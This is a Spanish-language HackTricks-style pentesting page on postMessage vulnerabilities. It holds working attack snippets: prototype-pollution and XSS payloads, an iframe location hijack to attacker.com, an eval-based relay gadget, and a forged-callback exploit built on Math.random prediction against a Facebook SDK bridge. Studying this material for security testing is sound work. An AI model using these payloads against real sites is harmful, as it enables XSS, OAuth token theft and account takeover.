PostMessage Vulnerabilidades

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Enviar PostMessage

PostMessage usa la siguiente función para enviar un mensaje:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Ten en cuenta que targetOrigin puede ser un ‘*’ o una URL como https://company.com.
En el segundo escenario, el mensaje solo puede enviarse a ese dominio (incluso si el origin del Window object es diferente).\

Atacando iframe & wildcard en targetOrigin

Como se explica en este informe, si encuentras una página que puede ser iframed (sin protección X-Frame-Header) y que está enviando mensajes sensibles vía postMessage usando un wildcard (*), puedes modificar el origin del iframe y leak el mensaje sensible a un dominio controlado por ti.\
Ten en cuenta que si la página puede ser iframed pero el targetOrigin está establecido en una URL y no en un wildcard, este truco no funcionará.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener exploitation

addEventListener es la función usada por JS para declarar la función que está esperando postMessages.
Se usará un código similar al siguiente:

window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Fíjate en este caso cómo lo primero que hace el código es comprobar el origen. Esto es terriblemente importante, sobre todo si la página va a hacer algo sensible con la información recibida (por ejemplo cambiar una contraseña). Si no comprueba el origen, los atacantes pueden hacer que las víctimas envíen datos arbitrarios a estos endpoints y cambiar las contraseñas de las víctimas (en este ejemplo).

Enumeración

Para encontrar event listeners en la página actual puedes:

  • Buscar en el código JS window.addEventListener y $(window).on (JQuery version)
  • Ejecuta en la consola de developer tools: getEventListeners(window)

  • Ve a Elements –> Event Listeners en las developer tools del navegador

Bypasses de comprobación de origen

  • El atributo event.isTrusted se considera seguro ya que devuelve True solo para eventos que son generados por acciones genuinas del usuario. Aunque es difícil de bypassear si se implementa correctamente, su importancia en las comprobaciones de seguridad es notable.
  • El uso de indexOf() para la validación del origen en eventos postMessage puede ser susceptible de bypass. Un ejemplo que ilustra esta vulnerabilidad es:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • El método search() de String.prototype.search() está pensado para expresiones regulares, no para strings. Pasar cualquier cosa que no sea un regexp provoca conversión implícita a regex, volviendo el método potencialmente inseguro. Esto se debe a que en regex un punto (.) actúa como comodín, permitiendo el bypass de la validación con dominios especialmente manipulados. Por ejemplo:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • La función match(), similar a search(), procesa regex. Si la regex está mal construida, puede ser propensa a bypasses.

  • La función escapeHtml pretende sanear inputs escapando caracteres. Sin embargo, no crea un nuevo objeto escapado sino que sobrescribe las propiedades del objeto existente. Este comportamiento puede ser explotado. En particular, si un objeto puede manipularse de forma que su propiedad controlada no reconozca hasOwnProperty, escapeHtml no funcionará como se espera. Esto se demuestra en los ejemplos a continuación:

  • Fallo esperado:

result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • Evadiendo el escape:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

En el contexto de esta vulnerabilidad, el objeto File es especialmente exploitable debido a su propiedad de solo lectura name. Esta propiedad, cuando se usa en templates, no es saneada por la función escapeHtml, llevando a riesgos de seguridad potenciales.

  • La propiedad document.domain en JavaScript puede ser establecida por un script para acortar el dominio, permitiendo una aplicación más relajada de la same-origin policy dentro del mismo dominio padre.

Confianza solo en el origen + relays confiables

Si un receptor solo comprueba event.origin (p. ej., confía en cualquier *.trusted.com) a menudo puedes encontrar una “relay” page on that origin that echoes attacker-controlled params via postMessage to a supplied targetOrigin/targetWindow. Ejemplos incluyen gadgets de marketing/analytics que toman query params y reenvían {msg_type, access_token, ...} a opener/parent. Puedes:

  • Abrir la página de la víctima en un popup/iframe que tenga un opener para que sus handlers se registren (muchos pixels/SDKs sólo adjuntan listeners cuando window.opener existe).
  • Navegar otra ventana atacante al endpoint relay en el origin confiable, rellenando los campos del mensaje que quieres inyectar (message type, tokens, nonces).
  • Porque el mensaje ahora viene desde el origin confiable, la validación basada sólo en origin pasa y puedes disparar comportamientos privilegiados (cambios de estado, llamadas a APIs, escrituras en el DOM) en el listener de la víctima.

Patrones de abuso observados en el mundo real:

  • Los Analytics SDKs (p. ej., estilo pixel/fbevents) consumen mensajes como FACEBOOK_IWL_BOOTSTRAP, luego llaman APIs de backend usando un token suministrado en el mensaje e incluyen location.href / document.referrer en el cuerpo de la petición. Si suministras tu propio token, puedes leer esas peticiones en el historial/logs de peticiones del token y exfiltrar OAuth codes/tokens presentes en la URL/referrer de la página víctima.
  • Cualquier relay que refleje campos arbitrarios hacia postMessage te permite suplantar tipos de mensaje esperados por listeners privilegiados. Combínalo con validación de input débil para alcanzar llamadas Graph/REST, desbloqueo de features, o flujos equivalentes a CSRF.

Consejos para caza: enumera listeners de postMessage que solo comprueban event.origin, luego busca same-origin HTML/JS endpoints that forward URL params via postMessage (marketing previews, login popups, OAuth error pages). Conecta ambos con window.open() + postMessage para bypassear las comprobaciones de origen.

Bypass e.origin == window.origin

Al embeber una página web dentro de un sandboxed iframe usando %%%%%%, es crucial entender que el origin del iframe será establecido a null. Esto es particularmente importante cuando se trata de los sandbox attributes y sus implicaciones en seguridad y funcionalidad.

Al especificar allow-popups en el atributo sandbox, cualquier ventana popup abierta desde dentro del iframe hereda las restricciones sandbox de su padre. Esto significa que, a menos que el atributo allow-popups-to-escape-sandbox también esté incluido, el origin de la ventana popup será igualmente establecido a null, alineándose con el origin del iframe.

Como consecuencia, cuando se abre un popup bajo estas condiciones y se envía un mensaje desde el iframe al popup usando postMessage, ambos extremos, remitente y receptor, tienen sus origins establecidos a null. Esta situación conduce a un escenario donde e.origin == window.origin evalúa a true (null == null), porque tanto el iframe como el popup comparten el mismo valor de origin null.

Para más información lee:

Bypassing SOP with Iframes - 1

Bypass de e.source

Es posible comprobar si el mensaje vino de la misma ventana en la que el script está escuchando (especialmente interesante para Content Scripts from browser extensions para comprobar si el mensaje fue enviado desde la misma página):

// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

Puedes forzar que e.source de un mensaje sea null creando un iframe que envía el postMessage y se elimina inmediatamente.

Para más información lee:

Bypassing SOP with Iframes - 2

X-Frame-Header bypass

Para llevar a cabo estos ataques lo ideal es que puedas colocar la página web víctima dentro de un iframe. Pero algunas cabeceras como X-Frame-Header pueden impedir ese comportamiento.
En esos escenarios aún puedes usar un ataque menos sigiloso. Puedes abrir una nueva pestaña con la aplicación web vulnerable y comunicarte con ella:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Robar mensaje enviado al iframe hijo bloqueando la página principal

En la siguiente página puedes ver cómo podrías robar unos datos sensibles de postmessage enviados a un iframe hijo bloqueando la página principal antes de enviar los datos y abusando de una XSS en el hijo para leak the data antes de que sean recibidos:

Blocking main page to steal postmessage

Robar mensaje modificando la ubicación del iframe

Si puedes cargar una página web en un iframe sin X-Frame-Header que contenga otro iframe, puedes cambiar la ubicación de ese iframe hijo, de modo que si está recibiendo un postmessage enviado usando un wildcard, un atacante podría cambiar el origin de ese iframe a una página controlada por él y robar el mensaje:

Steal postmessage modifying iframe location

postMessage a Prototype Pollution y/o XSS

En escenarios donde los datos enviados a través de postMessage son ejecutados por JS, puedes cargar la página en un iframe y explotar la prototype pollution/XSS enviando el exploit vía postMessage.

Un par de XSS muy bien explicadas a través de postMessage se pueden encontrar en https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Ejemplo de un exploit para abusar de Prototype Pollution y luego XSS a través de un postMessage a un iframe:

<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

Para más información:

Carga de scripts derivada del origin & supply-chain pivot (estudio de caso CAPIG)

capig-events.js solo registraba un manejador message cuando window.opener existía. En IWL_BOOTSTRAP comprobó pixel_id pero almacenó event.origin y más tarde lo usó para construir ${host}/sdk/${pixel_id}/iwl.js.

Manejador que escribe un origin controlado por el atacante ```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```

Exploit (origin → script-src pivot):

  1. Get an opener: e.g., in Facebook Android WebView reuse window.name with window.open(target, name) so the window becomes its own opener, then post a message from a malicious iframe.
  2. Send IWL_BOOTSTRAP from any origin to persist host = event.origin in localStorage.
  3. Host /sdk/<pixel_id>/iwl.js on any CSP-allowed origin (takeover/XSS/upload on a whitelisted analytics domain). startIWL() then loads attacker JS in the embedding site (e.g., www.meta.com), enabling credentialed cross-origin calls and account takeover.

Si el control directo del opener era imposible, comprometer un iframe de terceros en la página seguía permitiendo enviar el postMessage diseñado al parent para envenenar el host almacenado y forzar la carga del script.

Backend-generated shared script → stored XSS: the plugin AHPixelIWLParametersPlugin concatenated user rule parameters into JS appended to capig-events.js (e.g., cbq.config.set(...)). Injecting breakouts like "]} injected arbitrary JS, creating stored XSS in the shared script served to all sites loading it.

La allowlist de orígenes de confianza no es una barrera

Un chequeo estricto de event.origin solo funciona si el origen de confianza no puede ejecutar JS del atacante. Cuando páginas privilegiadas embeben iframes de terceros y asumen que event.origin === "https://partner.com" es seguro, cualquier XSS en partner.com se convierte en un puente hacia el parent:

// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})

Patrón de ataque observado en el mundo real:

  1. Exploit XSS in the partner iframe y dejar un relay gadget para que cualquier postMessage se convierta en code exec dentro del origen de confianza:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
  1. Desde la página del atacante, envía JS al iframe comprometido que reenvía un tipo de mensaje permitido de vuelta al parent. El mensaje se origina en partner.com, pasa la allowlist y lleva HTML que se inserta de forma insegura:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
  1. The parent injects the attacker HTML, giving JS execution in the parent origin (e.g., facebook.com), which can then be used to steal OAuth codes or pivot to full account takeover flows.

Key takeaways:

  • Partner origin isn’t a boundary: cualquier XSS en un partner “trusted” permite a los atacantes enviar mensajes permitidos que evaden las comprobaciones de event.origin.
  • Handlers that render partner-controlled payloads (e.g., innerHTML on specific message types) convierten la compromisión del partner en un same-origin DOM XSS.
  • A wide message surface (many types, no structure validation) ofrece más gadgets para pivotar una vez que un iframe de partner está comprometido.

Predicting Math.random() callback tokens in postMessage bridges

When message validation uses a “shared secret” generated with Math.random() (e.g., guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) and the same helper also names plugin iframes, you can recover PRNG outputs and forge trusted messages:

  • Leak PRNG outputs via window.name: The SDK auto-names plugin iframes with guid(). If you control the top frame, iframe the victim page, then navigate the plugin iframe to your origin (e.g., window.frames[0].frames[0].location='https://attacker.com') and read window.frames[0].frames[0].name to obtain a raw Math.random() output.
  • Force more outputs without reloads: Some SDKs expose a reinit path; in the FB SDK, firing init:post with {xfbml:1} forces XFBML.parse(), destroys/recreates the plugin iframe, and generates new names/callback IDs. Repeated reinit produces as many PRNG outputs as needed (note extra internal Math.random() calls for callback/iframe IDs, so solvers must skip intervening values).
  • Trusted-origin delivery via parameter pollution: If a first-party plugin endpoint reflects an unsanitized parameter into the cross-window payload (e.g., /plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), you can inject &type=...&iconSVG=... while preserving the trusted facebook.com origin.
  • Predict the next callback: Convert leaked iframe names back to floats in [0,1) and feed several values (even non-consecutive) into a V8 Math.random predictor (e.g., Z3-based). Generate the next guid() locally to forge the expected callback token.
  • Trigger the sink: Craft the postMessage data so the bridge dispatches xd.mpn.setupIconIframe and injects HTML in iconSVG (e.g., URL-encoded <img src=x onerror=...>), achieving DOM XSS inside the hosting origin; from there, same-origin iframes (OAuth dialogs, arbiters, etc.) can be read.
  • Framing quirks help: The chain requires framing. In some mobile webviews, X-Frame-Options may degrade to unsupported ALLOW-FROM when frame-ancestors is present, and “compat” parameters can force permissive frame-ancestors, enabling the window.name side channel.

Ejemplo mínimo de mensaje falsificado

// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks